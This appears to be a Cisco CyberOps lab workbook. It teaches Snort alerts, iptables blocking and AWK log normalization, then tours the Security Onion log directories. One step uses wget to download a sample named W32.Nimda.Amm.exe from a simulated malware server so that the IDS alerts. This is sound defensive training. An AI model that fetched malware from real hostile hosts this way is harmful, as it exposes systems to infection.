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Lab – Snort and Firewall Rules
Topology
[image: C:\Users\allan\AppData\Local\Microsoft\Windows\INetCache\Content.Word\mininet_extended_topo2.png]
Objectives
Part 1: Preparing the Virtual Environment
Part 2: Firewall and IDS Logs
Background / Scenario
[bookmark: _Toc492961008][bookmark: _Toc492974528][bookmark: _Toc492974581][bookmark: _Toc494171525]In a secure production network, network alerts are generated by various types of devices such as security appliances, firewalls, IPS devices, routers, switches, servers, and more. The problem is that not all alerts are created equally. For example, alerts generated by a server and alerts generated by a firewall will be different and vary in content and format. 
In this lab, to get familiar with firewall rules and IDS signatures you will:
Perform live-monitoring of IDS events.
Configure your own customized firewall rule to stop internal hosts from contacting a malware-hosting server.
Craft a malicious packet and launch it against an internal target.
Create a customized IDS rule to detect the customized attack and issue an alert based on it.
Required Resources
CyberOps Workstation VM
Internet connection
Note: In this lab, the CyberOps Workstation VM is a container for holding the Mininet environment shown in the Topology. 
Preparing the Virtual Environment
Launch Oracle VirtualBox and change the CyberOps Workstation for Bridged mode, if necessary. Select Machine > Settings > Network. Under Attached To, select Bridged Adapter and click OK.
Launch the CyberOps Workstation VM, open a terminal and configure its network by executing the configure_as_dhcp.sh script.
Because the script requires super-user privileges, provide the password for the user analyst.
[analyst@secOps ~]$ sudo ./lab.support.files/scripts/configure_as_dhcp.sh
[sudo] password for analyst:
[analyst@secOps ~]$
Use the ifconfig command to verify CyberOps Workstation VM now has an IP address on your local network. You can also test connectivity to a public webserver by pinging www.cisco.com. Use Ctrl+C to stop the pings.
[analyst@secOps ~]$ ping www.cisco.com
PING e2867.dsca.akamaiedge.net (23.204.15.199) 56(84) bytes of data.
64 bytes from a23-204-15-199.deploy.static.akamaitechnologies.com (23.204.15.199): icmp_seq=1 ttl=54 time=28.4 ms
64 bytes from a23-204-15-199.deploy.static.akamaitechnologies.com (23.204.15.199): icmp_seq=2 ttl=54 time=35.5 ms
^C
--- e2867.dsca.akamaiedge.net ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 28.446/32.020/35.595/3.578 ms
Part 1: Firewall and IDS Logs
Firewalls and Intrusion Detection Systems (IDS) are often deployed to partially automate the traffic monitoring task. Both firewalls and IDSs match incoming traffic against administrative rules. Firewalls usually compare the packet header against a rule set while IDSs often use the packet payload for rule set comparison. Because firewalls and IDSs apply the pre-defined rules to different portions of the IP packet, IDS and firewall rules have different structures.
While there is a difference in rule structure, some similarities between the components of the rules remain. For example, both firewall and IDS rules contain matching components and action components. Actions are taken after a match is found.
Matching component - specifies the packet elements of interest, such as: packet source; the packet destination; transport layer protocols and ports; and data included in the packet payload.
Action component - specifies what should be done with that packet that matches a component, such as: accept and forward the packet; drop the packet; or send the packet to a secondary rule set for further inspection. 
A common firewall design is to drop packets by default while manually specifying what traffic should be allowed. Known as dropping-by-default, this design has the advantage protecting the network from unknown protocols and attacks. As part of this design, it is common to log the events of dropped packets since these are packets that were not explicitly allowed and therefore, infringe on the organization’s policies. Such events should be recorded for future analysis.
Real-Time IDS Log Monitoring
From the CyberOps Workstation VM, run the script to start mininet.
[analyst@secOps ~]$ sudo ./lab.support.files/scripts/cyberops_extended_topo_no_fw.py
[sudo] password for analyst: 
*** Adding controller
*** Add switches
*** Add hosts
*** Add links
*** Starting network
*** Configuring hosts
R1 R4 H1 H2 H3 H4 H5 H6 H7 H8 H9 H10 H11 
*** Starting controllers
*** Starting switches
*** Add routes
*** Post configure switches and hosts
*** Starting CLI:
mininet>
The mininet prompt should be displayed, indicating mininet is ready for commands.
From the mininet prompt, open a shell on R1 using the command below:
mininet> xterm R1
mininet>
The R1 shell opens in a terminal window with black text and white background. What user is logged into that shell? What is the indicator of this?
____________________________________________________________________________________
____________________________________________________________________________________
From R1’s shell, start the Linux-based IDS, Snort.
[root@secOps analyst]# ./lab.support.files/scripts/start_snort.sh 
Running in IDS mode

        --== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file "/etc/snort/snort.conf"
<output omitted>
Note: You will not see a prompt as Snort is now running in this window. If for any reason, Snort stops running and the [root@secOps analysts]# prompt is displayed, rerun the script to launch Snort. Snort must be running in order to capture alerts later in the lab.
From the CyberOps Workstation VM mininet prompt, open shells for hosts H5 and H10.
mininet> xterm H5
mininet> xterm H10
mininet>
H10 will simulate a server on the Internet that is hosting malware. On H10, run the mal_server_start.sh script to start the server.
[root@secOps analyst]# ./lab.support.files/scripts/mal_server_start.sh
[root@secOps analyst]#
On H10, use netstat with the -tunpa options to verify that the web server is running. When used as shown below, netstat lists all ports currently assigned to services:
[root@secOps analyst]# netstat -tunpa
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:6666            0.0.0.0:*               LISTEN      1839/nginx: master  
[root@secOps analyst]#
As seen by the output above, the lightweight webserver nginx is running and listening to connections on port TCP 6666.
The R1 terminal window, an instance of Snort running. To enter more commands on R1, open another R1 terminal by entering the xterm R1 again in the CyberOps Workstation VM terminal window, as shown below. You may also want to arrange the terminal windows so that you can see and interact with each device. The figure below shows an effective arrangement for the rest of this lab.
[image: ]
In the new R1 terminal tab, run the tail command with the -f option to monitor the /var/log/snort/alert file in real-time. This file is where snort is configured to record alerts. 
[root@sec0ps analyst]# tail -f /var/log/snort/alert
Because no alerts were yet recorded, the log should be empty. However, if you have run this lab before, old alert entries may be shown. In either case, you will not receive a prompt after typing this command. This window will display alerts as they happen.
From H5, use the wget command to download a file named W32.Nimda.Amm.exe. Designed to download content via HTTP, wget is a great tool for downloading files from web servers directly from the command line.
[root@secOps analyst]# wget 209.165.202.133:6666/W32.Nimda.Amm.exe
--2017-04-28 17:00:04--  http://209.165.202.133:6666/W32.Nimda.Amm.exe
Connecting to 209.165.202.133:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 345088 (337K) [application/octet-stream]
Saving to: 'W32.Nimda.Amm.exe'

W32.Nimda.Amm.exe           100%[==========================================>] 337.00K  --.-KB/s    in 0.02s   

2017-04-28 17:00:04 (16.4 MB/s) - 'W32.Nimda.Amm.exe' saved [345088/345088]

[root@secOps analyst]#
What port is used when communicating with the malware web server? What is the indicator?
____________________________________________________________________________________
____________________________________________________________________________________
Was the file completely downloaded? 	 
Did the IDS generated any alerts related to the file download? 	 
As the malicious file was transiting R1, the IDS, Snort, was able to inspect its payload. The payload matched at least one of the signatures configured in Snort and triggered an alert on the second R1 terminal window (the tab where tail -f is running). The alert entry is show below. Your timestamp will be different:
04/28-17:00:04.092153  [**] [1:1000003:0] Malicious Server Hit! [**] [Priority: 0] {TCP} 209.165.200.235:34484 -> 209.165.202.133:6666
Based on the alert shown above, what was the source and destination IPv4 addresses used in the transaction?
____________________________________________________________________________________
____________________________________________________________________________________
Based on the alert shown above, what was the source and destination ports used in the transaction?
____________________________________________________________________________________
____________________________________________________________________________________
Based on the alert shown above, when did the download take place?
____________________________________________________________________________________
____________________________________________________________________________________
Based on the alert shown above, what was the message recorded by the IDS signature?
____________________________________________________________________________________
____________________________________________________________________________________
On H5, use the tcpdump command to capture the event and download the malware file again so you can capture the transaction. Issue the following command below start the packet capture:
[root@secOps analyst]# tcpdump –i H5-eth0 –w nimda.download.pcap &
[1] 5633
[root@secOps analyst]# tcpdump: listening on H5-eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
The command above instructs tcpdump to capture packets on interface H5-eth0 and save the capture to a file named nimda.download.pcap.
The & symbol at the end tells the shell to execute tcpdump in the background. Without this symbol, tcpdump would make the terminal unusable while it was running. Notice the [1] 5633; it indicates one process was sent to background and its process ID (PID) is 5366. Your PID will most likely be different.
Press ENTER a few times to regain control of the shell while tcpdump runs in background.
Now that tcpdump is capturing packets, download the malware again. On H5, re-run the command or use the up arrow to recall it from the command history facility.
[root@secOps analyst]# wget 209.165.202.133:6666/W32.Nimda.Amm.exe
--2017-05-02 10:26:50--  http://209.165.202.133:6666/W32.Nimda.Amm.exe
Connecting to 209.165.202.133:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 345088 (337K) [application/octet-stream]
Saving to: 'W32.Nimda.Amm.exe'

W32.Nimda.Amm.exe   100%[===================>] 337.00K  --.-KB/s    in 0.003s  

2017-05-02 10:26:50 (105 MB/s) - 'W32.Nimda.Amm.exe' saved [345088/345088]
Stop the capture by bringing tcpdump to foreground with the fg command. Because tcpdump was the only process sent to background, there is no need to specify the PID. Stop the tcpdump process with Ctrl+C. The tcpdump process stops and displays a summary of the capture. The number of packets may be different for your capture.
[root@secOps analyst]# fg
tcpdump -i h5-eth0 -w nimda.download.pcap
^C316 packets captured
316 packets received by filter
0 packets dropped by kernel
[root@secOps analyst]#
On H5, Use the ls command to verify the pcap file was in fact saved to disk and has size greater than zero:
[root@secOps analyst]# ls -l
total 1400
drwxr-xr-x 2 analyst analyst   4096 Sep 26  2014 Desktop
drwx------ 3 analyst analyst   4096 Jul 14 11:28 Downloads
drwxr-xr-x 8 analyst analyst   4096 Jul 25 16:27 lab.support.files
-rw-r--r-- 1 root    root    371784 Aug 17 14:48 nimda.download.pcap
drwxr-xr-x 2 analyst analyst   4096 Mar  3 15:56 second_drive
-rw-r--r-- 1 root    root    345088 Apr 14 15:17 W32.Nimda.Amm.exe
-rw-r--r-- 1 root    root    345088 Apr 14 15:17 W32.Nimda.Amm.exe.1
 [root@secOps analyst]# 

Note: Your directory list may have a different mix of files, but you should still see the nimda.download.pcap file. 
How can be this PCAP file be useful to the security analyst?
____________________________________________________________________________________
____________________________________________________________________________________
Note: The analysis of the PCAP file will be performed in another lab.
Tuning Firewall Rules Based on IDS Alerts
In Step 1, you started an Internet-based malicious server. To keep other users from reaching that server, it is recommended to block it in the edge firewall.
In this lab’s topology, R1 is not only running an IDS but also a very popular Linux-based firewall called iptables. In this step, you will block traffic to the malicious server identified in Step 1 by editing the firewall rules currently present in R1.
Note: While a comprehensive study of iptables is beyond the scope of this course, iptables basic logic and rule structure is fairly straight-forward.
The firewall iptables uses the concepts of chains and rules to filter traffic. 
Traffic entering the firewall and destined to the firewall device itself is handled by the INPUT chain. Examples of this traffic are ping packets coming from any other device on any networks and sent to any one of the firewall’s interfaces.
Traffic originated in the firewall device itself and destined to somewhere else, is handled by the OUTPUT chain. Examples of this traffic are ping responses generated by the firewall device itself.
Traffic originated somewhere else and passing through the firewall device is handled by the FORWARD chain. Examples of this traffic are packets being routed by the firewall.
Each chain can have its own set of independent rules specifying how traffic is to be filtered for that chain. A chain can have practically any number of rules, including no rule at all.
Rules are created to check specific characteristics of packets, allowing administrators to create very comprehensive filters. If a packet doesn’t match a rule, the firewall moves on to the next rule and checks again. If a match is found, the firewall takes the action defined in the matching rule. If all rules in a chain have been checked and yet no match was found, the firewall takes the action specified in the chain’s policy, usually allow the packet to flow through or deny it.
In the CyberOps Workstation VM, start a third R1 terminal window. 
mininet > xterm R1
In the new R1 terminal window, use the iptables command to list the chains and their rules currently in use:
[root@secOps ~]# iptables -L -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         

Chain FORWARD (policy ACCEPT 6 packets, 504 bytes)
 pkts bytes target     prot opt in     out     source               destination         

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         

[root@secOps ~]#
What chains are currently in use by R1?
____________________________________________________________________________________
Connections to the malicious server generate packets that must transverse the iptables firewall on R1. Packets traversing the firewall are handled by the FORWARD rule and therefore, that is the chain that will receive the blocking rule. To keep user computers from connecting to the malicious server identified in Step 1, add the following rule to the FORWARD chain on R1: 
[root@secOps ~]# iptables -I FORWARD -p tcp -d 209.165.202.133 --dport 6666 -j DROP
[root@secOps ~]#
Where:
-I FORWARD: inserts a new rule in the FORWARD chain.
-p tcp: specifies the TCP protocol.
-d 209.165.202.133: specifies the packet’s destination
--dport 6666: specifies the destination port
-j DROP: set the action to drop. 
Use the iptables command again to ensure the rule was added to the FORWARD chain. The CyberOps Workstation VM may take a few seconds to generate the output:
[root@secOps analyst]# iptables -L -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 DROP       tcp  --  any    any     anywhere             209.165.202.133      tcp dpt:6666

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
[root@secOps analyst]# 
On H5, try to download the file again:
[root@secOps analyst]# wget 209.165.202.133:6666/W32.Nimda.Amm.exe
--2017-05-01 14:42:37--  http://209.165.202.133:6666/W32.Nimda.Amm.exe
Connecting to 209.165.202.133:6666... failed: Connection timed out.
Retrying.

--2017-05-01 14:44:47--  (try: 2)  http://209.165.202.133:6666/W32.Nimda.Amm.exe
Connecting to 209.165.202.133:6666... failed: Connection timed out.
Retrying.
Enter Ctrl+C to cancel the download, if necessary. Was the download successful this time? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
What would be a more aggressive but also valid approach when blocking the offending server?
____________________________________________________________________________________
____________________________________________________________________________________


Lab - Convert Data into a Universal Format
Objectives
Part 1: Normalize Timestamps in a Log File
Part 2: Normalize Timestamps in an Apache Log File 
Part 3: Log File Preparation in Security Onion
Background / Scenario
[bookmark: _Hlk489168848]Log entries are generated by network devices, operating systems, applications, and various types of programmable devices. A file containing a time-sequenced stream of log entries is called a log file.
By nature, log files record events that are relevant to the source. The syntax and format of data within log messages are often defined by the application developer.
Therefore, the terminology used in the log entries often varies from source to source. For example, depending on the source, the terms login, logon, authentication event, and user connection, may all appear in log entries to describe a successful user authentication to a server.
It is often desirable to have a consistent and uniform terminology in logs generated by different sources. This is especially true when all log files are being collected by a centralized point.
The term normalization refers to the process of converting parts of a message, in this case a log entry, to a common format.
In this lab, you will use command line tools to manually normalize log entries. In Part 2, the timestamp field will be normalized. In Part 3, the IPv6 field will be normalized.
Note: While numerous plugins exist to perform log normalization, it is important to understand the basics behind the normalization process.
Required Resources
CyberOps Workstation VM
Security Onion VM
Normalize Timestamps in a Log File
Timestamps are used in log entries to specify when the recorded event took place. While it is best practice to record timestamps in UTC, the format of the timestamp varies from log source to log source. There are two common timestamp formats, known as Unix Epoch and Human Readable.
Unix Epoch timestamps record time by measuring the number of seconds that have passed since January 1st 1970.
Human Readable timestamps record time by representing separate values for year, month, day, hour, minute, and second.
The Human Readable Wed, 28 Jun 2017 13:27:18 GMT timestamp is the same as 1498656439 in Unix Epoch.
From a programmability stand point, it is much easier to work with Epoch as it allows for easier addition and subtraction operations. From an analysis perspective; however, Human Readable timestamps are much easier to interpret.
Converting Epoch to Human Readable Timestamps with AWK
AWK is a programming language designed to manipulate text files. It is very powerful and especially useful when handling text files where the lines contain multiple fields, separated by a delimiter character. Log files contain one entry per line and are formatted as delimiter-separated fields, making AWK a great tool for normalizing.
Consider the applicationX_in_epoch.log file below. The source of the log file is not relevant.
2|Z|1219071600|AF|0
3|N|1219158000|AF|89
4|N|1220799600|AS|12
1|Z|1220886000|AS|67
5|N|1220972400|EU|23
6|R|1221058800|OC|89

The log file above was generated by application X. The relevant aspects of the file are:
The columns are separated, or delimited, by the | character. Therefore, the file has five columns.
The third column contains timestamps in Unix Epoch.
The file has an extra line at the end. This will be important later in the lab.
Assume that a log analyst needed to convert the timestamps to the Human Readable format. Follow the steps below to use AWK to easily perform the manual conversion:
Launch the CyberOps Workstation VM and then launch a terminal window.
Use the cd command to change to the /home/analyst/lab.support.files/ directory. A copy of the file shown above is stored there.
[analyst@secOps ~]$ cd ./lab.support.files/
[analyst@secOps lab.support.files]$ ls -l
total 580
-rw-r--r-- 1 analyst analyst    649 Jun 28 18:34 apache_in_epoch.log
-rw-r--r-- 1 analyst analyst    126 Jun 28 11:13 applicationX_in_epoch.log
drwxr-xr-x 4 analyst analyst   4096 Aug  7 15:29 attack_scripts
-rw-r--r-- 1 analyst analyst    102 Jul 20 09:37 confidential.txt
<output omitted>
[analyst@secOps lab.support.files]$ 
Issue the following AWK command to convert and print the result on the terminal:
Note: It is easy to make a typing error in the following script. Consider copying the script out to a text editor to remove the extra line breaks. Then copy the script from the text editor into the CyberOps Workstation VM terminal window. However, be sure to study the script explanation below to learn how this script modifies the timestamp field.
[analyst@secOps lab.support.files]$ awk 'BEGIN {FS=OFS="|"}{$3=strftime("%c",$3)} {print}' applicationX_in_epoch.log 
2|Z|Mon 18 Aug 2008 11:00:00 AM EDT|AF|0
3|N|Tue 19 Aug 2008 11:00:00 AM EDT|AF|89
4|N|Sun 07 Sep 2008 11:00:00 AM EDT|AS|12
1|Z|Mon 08 Sep 2008 11:00:00 AM EDT|AS|67
5|N|Tue 09 Sep 2008 11:00:00 AM EDT|EU|23
6|R|Wed 10 Sep 2008 11:00:00 AM EDT|OC|89
||Wed 31 Dec 1969 07:00:00 PM EST
[analyst@secOps lab.support.files]$
The command above is an AWK script. It may seem complicated. The main structure of the AWK script above is as follows:
· awk – This invokes the AWK interpreter.
· ‘BEGIN – This defines the beginning of the script.
· {} – This defines actions to be taken in each line of the input text file. An AWK script can have several actions.
· FS = OFS = “|” – This defines the field separator (i.e., delimiter) as the bar (|) symbol. Different text files may use different delimiting characters to separate fields. This operator allows the user to define what character is used as the field separator in the current text file.
· $3 – This refers to the value in the third column of the current line. In the applicationX_in_epoch.log, the third column contains the timestamp in epoch to be converted.
· strftime - This is an AWK internal function designed to work with time. The %c and $3 in between parenthesis are the parameters passed to strftime.
· applicationX_in_epoch.log – This is the input text file to be loaded and used. Because you are already in the lab.support.files directory, you do not need to add path information, /home/analyst/lab.support.files/applicationX_in_epoch.log.
The first script action, defined in the first set of curly brackets is to define the field separator character as the “|”. Then, in the second set of curly brackets, it rewrites the third column of each line with the result of the execution of the strftime() function. strftime() is an internal AWK function created to handle time conversion. Notice that the script tells the function to use the contents of the third column of each line before the change ($3) and to format the output (%c).
Were the Unix Epoch timestamps converted to Human Readable format? Were the other fields modified? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Compare the contents of the file and the printed output. Why is there the line, ||Wed 31 Dec 1969 07:00:00 PM EST?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Use nano (or your favorite text editor) to remove the extra empty line at the end of the file and run the AWK script again.
[analyst@secOps lab.support.files]$ nano applicationX_in_epoch.log 
Is the output correct now? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
While printing the result on the screen is useful for troubleshooting the script, analysts will likely need to save the output in a text file. Redirect the output of the script above to a file named applicationX_in_human.log to save it to a file:
[analyst@secOps lab.support.files]$ awk 'BEGIN {FS=OFS="|"}{$3=strftime("%c",$3)} {print}' applicationX_in_epoch.log > applicationX_in_human.log
[analyst@secOps lab.support.files]$
What was printed by the command above? Is this expected?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Use cat to view the applicationX_in_human.log. Notice that the extra line is now removed and the timestamps for the log entries have been converted to human readable format.
[analyst@secOps lab.support.files]$ cat applicationX_in_human.log 
2|Z|Mon 18 Aug 2008 11:00:00 AM EDT|AF|0
3|N|Tue 19 Aug 2008 11:00:00 AM EDT|AF|89
4|N|Sun 07 Sep 2008 11:00:00 AM EDT|AS|12
1|Z|Mon 08 Sep 2008 11:00:00 AM EDT|AS|67
5|N|Tue 09 Sep 2008 11:00:00 AM EDT|EU|23
6|R|Wed 10 Sep 2008 11:00:00 AM EDT|OC|89
[analyst@secOps lab.support.files]$
Normalize Timestamps in an Apache Log File
Similar to what was done with the applicationX_in_epoch.log file, Apache log files can also be normalized. Follow the steps below to convert Unix Epoch to Human Readable timestamps. Consider the following Apache log file, apache_in_epoch.log:
[analyst@secOps lab.support.files]$ cat apache_in_epoch.log
198.51.100.213 - - [1219071600] "GET /twiki/bin/edit/Main/Double_bounce_sender?topicparent=Main.ConfigurationVariables HTTP/1.1" 401 12846
198.51.100.213 - - [1219158000] "GET /twiki/bin/rdiff/TWiki/NewUserTemplate?rev1=1.3&rev2=1.2 HTTP/1.1" 200 4523
198.51.100.213 - - [1220799600] "GET /mailman/listinfo/hsdivision HTTP/1.1" 200 6291
198.51.100.213 - - [1220886000] "GET /twiki/bin/view/TWiki/WikiSyntax HTTP/1.1" 200 7352
198.51.100.213 - - [1220972400] "GET /twiki/bin/view/Main/DCCAndPostFix HTTP/1.1" 200 5253
198.51.100.213 - - [1221058800] "GET /twiki/bin/oops/TWiki/AppendixFileSystem?template=oopsmore&m1=1.12&m2=1.12 HTTP/1.1" 200 11382
The Apache Log file above contains six entries which record events related to the Apache web server. Each entry has seven fields. The fields are delimited by a space:
The first column contains the IPv4 address, 198.51.100.213, of the web client placing the request. 
The second and third columns are not used and a “-“ character is used to represent no value. 
The fourth column contains the timestamp in Unix Epoch time, for example [1219071600]. 
The fifth column contains text with details about the event, including URLs and web request parameters. All six entries are HTTP GET messages. Because these messages include spaces, the entire field is enclosed with quotes.
The sixth column contains the HTTP status code, for example 401.
The seventh column contains the size of the response to the client (in bytes), for example 12846.
Similar to part one, a script will be created to convert the timestamp from Epoch to Human Readable.
First, answer the questions below. They are crucial for the construction of the script.
In the context of timestamp conversion, what character would work as a good delimiter character for the Apache log file above?
____________________________________________________________________________________
How many columns does the Apache log file above contain?
____________________________________________________________________________________
In the Apache log file above, what column contains the Unix Epoch Timestamp?
____________________________________________________________________________________
In the CyberOps Workstation VM terminal, a copy of the Apache log file, apache_in_epoch.log, is stored in the /home/analyst/lab.support.files.
Use an awk script to convert the timestamp field to a human readable format. Notice that the command contains the same script used previously, but with a few adjustments for the timestamp field and file name.
[analyst@secOps lab.support.files]$ awk 'BEGIN {FS=OFS=" "}{$4=strftime("%c",$4)} {print}' /home/analyst/lab.support.files/apache_in_epoch.log
Was the script able to properly convert the timestamps? Describe the output.
____________________________________________________________________________________
Before moving forward, think about the output of the script. Can you guess what caused the incorrect output? Is the script incorrect? What are the relevant differences between the applicationX_in_epoch.log and apache_in_epoch.log?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
To fix the problem, the square brackets must be removed from the timestamp field before the conversion takes place. Adjust the script by adding two actions before the conversion, as shown below:
[analyst@secOps lab.support.files]$ awk 'BEGIN {FS=OFS=" "}{gsub(/\[|\]/,"",$4)}{print}{$4=strftime("%c",$4)}{print}' apache_in_epoch.log
Notice after specifying space as the delimiter with {FS=OFS=” “}, there is a regular expression action to match and replace the square brackets with an empty string, effectively removing the square brackets that appear in the timestamp field. The second action prints the updated line so the conversion action can be performed. 
· gsub() – This is an internal AWK function used to locate and substitute strings. In the script above, gsub() received three comma-separated parameters, described below.
· /\[|\]/ – This is a regular expression passed to gsub() as the first parameter. The regular expression should be read as ‘find “[“ OR “]”’. Below is the breakdown of the expression:
· The first and last “/” character marks the beginning and end of the search block. Anything between the first “/” and the second “/” are related to the search. The “\” character is used to escape the following “[“. Escaping is necessary because “[“ can also be used by an operator in regular expressions. By escaping the “[“ with a leading “\”, we tell the interpreter that the “]” is part of the content and not an operator. The “|” character is the OR operator. Notice that the “|” is not escaped and will therefore, be seen as an operator. Lastly, the regular expression escapes the closing square bracket with “\]”, as done before. 
· "" – This represents no characters, or an empty string. This parameter tells gsub() what to replace the “[“ and “]” with, when found. By replacing the “[“ and “]” with “”, gsub() effectively removes the “[“ and “]” characters.
· $4 – This tells gsub() to work only on the fourth column of the current line, the timestamp column.
Note: Regular expression interpretation is a SECOPS exam topic. Regular expressions are covered in more detail in another lab in this chapter. However, you may wish to search the Internet for tutorials.
In a CyberOps Workstation VM terminal, execute the adjusted script, as follows:
[analyst@secOps lab.support.files]$ awk 'BEGIN {FS=OFS=" "}{gsub(/\[|\]/,"",$4)}{print}{$4=strftime("%c",$4)}{print}' apache_in_epoch.log
Was the script able to properly convert the timestamps this time? Describe the output.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Log File Preparation in Security Onion
Because log file normalization is important, log analysis tools often include log normalization features. Tools that do not include such features often rely on plugins for log normalization and preparation. The goal of these plugins is to allow log analysis tools to normalize and prepare the received log files for tool consumption.
The Security Onion appliance relies on a number of tools to provide log analysis services. ELSA, Bro, Snort and SGUIL are arguably the most used tools.
ELSA (Enterprise Log Search and Archive) is a solution to achieve the following:
· Normalize, store, and index logs at unlimited volumes and rates.
· Provide a simple and clean search interface and API.
· Provide an infrastructure for alerting, reporting and sharing logs.
· Control user actions with local or LDAP/AD-based permissions.
· Plugin system for taking actions with logs.
· Exist as a completely free and open-source project.
Bro is a framework designed to analyze network traffic and generate event logs based on it. Upon network traffic analysis, Bro creates logs describing events such as the following:
· TCP/UDP/ICMP network connections
· DNS activity
· FTP activity
· HTTPS requests and replies
· SSL/TLS handshakes
Snort and SGUIL
Snort is an IDS that relies on pre-defined rules to flag potentially harmful traffic. Snort looks into all portions of network packets (headers and payload), looking for patterns defined in its rules. When found, Snort takes the action defined in the same rule.
SGUIL provides a graphical interface for Snort logs and alerts, allowing a security analyst to pivot from SGUIL into other tools for more information. For example, if a potentially malicious packet is sent to the organization web server and Snort raised an alert about it, SGUIL will list that alert. The analyst can then right-click that alert to search the ELSA or Bro databases for a better understanding of the event.
Note: The directory listing maybe different than the sample output shown below.
Switch to Security Onion.
Launch the Security Onion VM from VirtualBox’s Dashboard (username: analyst / password: cyberops). The CyberOps Workstation VM can be closed to free up memory in the host computer for this part of the lab
ELSA Logs
Open a terminal window in the Security Onion VM. You can access to the applications menu is shown in the following screenshot:
[image: ]
You can also right-click the Desktop > Open Terminal Here, as show in the following screenshot:
[image: ]
ELSA logs can be found under the /nsm/elsa/data/elsa/log/ directory. Change the directory using the following command:
analyst@SecOnion:~/Desktop$ cd /nsm/elsa/data/elsa/log
analyst@SecOnion:/nsm/elsa/data/elsa/log$ 
Use the ls –l command to list the files:
analyst@SecOnion:/nsm/elsa/data/elsa/log$ ls -l
total 99112
total 169528
-rw-rw---- 1 www-data sphinxsearch 56629174 Aug 18 14:15 node.log
-rw-rw---- 1 www-data sphinxsearch  6547557 Aug  3 07:34 node.log.1.gz
-rw-rw---- 1 www-data sphinxsearch  7014600 Jul 17 07:34 node.log.2.gz
-rw-rw---- 1 www-data sphinxsearch  6102122 Jul 13 07:34 node.log.3.gz
-rw-rw---- 1 www-data sphinxsearch  4655874 Jul  8 07:35 node.log.4.gz
-rw-rw---- 1 www-data sphinxsearch  6523029 Aug 18 14:15 query.log
-rw-rw---- 1 www-data sphinxsearch 53479942 Aug 18 14:15 searchd.log
-rw-rw---- 1 www-data sphinxsearch 32613665 Aug 18 14:15 web.log
analyst@SecOnion:/nsm/elsa/data/elsa/log$
Bro Logs in Security Onion
Bro logs are stored at /nsm/bro/logs/. As usual with Linux systems, log files are rotated based on the date, renamed and stored on the disk. The current log files can be found under the current directory. From the terminal window, change directory using the following command.
analyst@SecOnion:/nsm/elsa/data/elsa/log$ cd /nsm/bro/logs/current
analyst@SecOnion:/nsm/logs/current$
Use the ls -l command to see all the log files generated by Bro:
analyst@SecOnion:/nsm/bro/logs/current$ ls -l
total 100
-rw-rw-r-- 1 sguil sguil   368 Aug 18 14:02 capture_loss.log
-rw-rw-r-- 1 sguil sguil 46031 Aug 18 14:16 communication.log
-rw-rw-r-- 1 sguil sguil  2133 Aug 18 14:03 conn.log
-rw-rw-r-- 1 sguil sguil  2028 Aug 18 14:16 stats.log
-rw-rw-r-- 1 sguil sguil    40 Aug 18 14:00 stderr.log
-rw-rw-r-- 1 sguil sguil   188 Aug 18 13:46 stdout.log
analyst@SecOnion:/nsm/bro/logs/current$
Snort Logs
Snort logs can be found at /nsm/sensor_data/. Change directory as follows.
analyst@SecOnion:/nsm/bro/logs/current$ cd /nsm/sensor_data
analyst@SecOnion:/nsm/sensor_data$
Use the ls -l command to see all the log files generated by Snort.
analyst@SecOnion:/nsm/sensor_data$ ls -l
total 16
drwxrwxr-x 7 sguil sguil 4096 Jun 19 23:16 seconion-eth0
drwxrwxr-x 7 sguil sguil 4096 Jun 19 23:16 seconion-eth1
drwxrwxr-x 7 sguil sguil 4096 Jun 19 23:16 seconion-eth2
drwxrwxr-x 5 sguil sguil 4096 Jun 19 23:08 seconion-eth3
analyst@SecOnion:/nsm/sensor_data$
Notice that Security Onion separates files based on the interface. Because the Security Onion VM image has four interfaces, four directories are kept. Use the ls –l seconion-eth0 command to see the files generated by the ethernet 0 interface.
analyst@SecOnion:/nsm/sensor_data$ ls -l seconion-eth0/
total 52
drwxrwxr-x  2 sguil sguil  4096 Jun 19 23:09 argus
drwxrwxr-x 10 sguil sguil  4096 Jul  7 12:09 dailylogs
drwxrwxr-x  2 sguil sguil  4096 Jun 19 23:08 portscans
drwxrwxr-x  2 sguil sguil  4096 Jun 19 23:08 sancp
drwxr-xr-x  2 sguil sguil  4096 Jul  7 12:12 snort-1
-rw-r--r--  1 sguil sguil 27566 Jul  7 12:12 snort-1.stats
-rw-r--r--  1 root  root      0 Jun 19 23:08 snort.stats
analyst@SecOnion:/nsm/sensor_data$
Various Logs
While the /nsm/ directory stores some logs files, more specific log files can be found under /var/log/nsm/. Change directory and use the ls -l command to see all the log files in the directory.
analyst@SecOnion:/nsm/sensor_data$ cd /var/log/nsm/
analyst@SecOnion:/var/log/nsm$ ls -l
total 8364
-rw-r--r-- 1 sguil sguil               4 Aug 18 14:56 eth0-packets.log
-rw-r--r-- 1 sguil sguil               4 Aug 18 14:56 eth1-packets.log
-rw-r--r-- 1 sguil sguil               4 Aug 18 14:56 eth2-packets.log
-rw-r--r-- 1 sguil sguil             182 Aug 18 13:46 ossec_agent.log
-rw-r--r-- 1 sguil sguil             202 Jul 11 12:02 ossec_agent.log.20170711120202
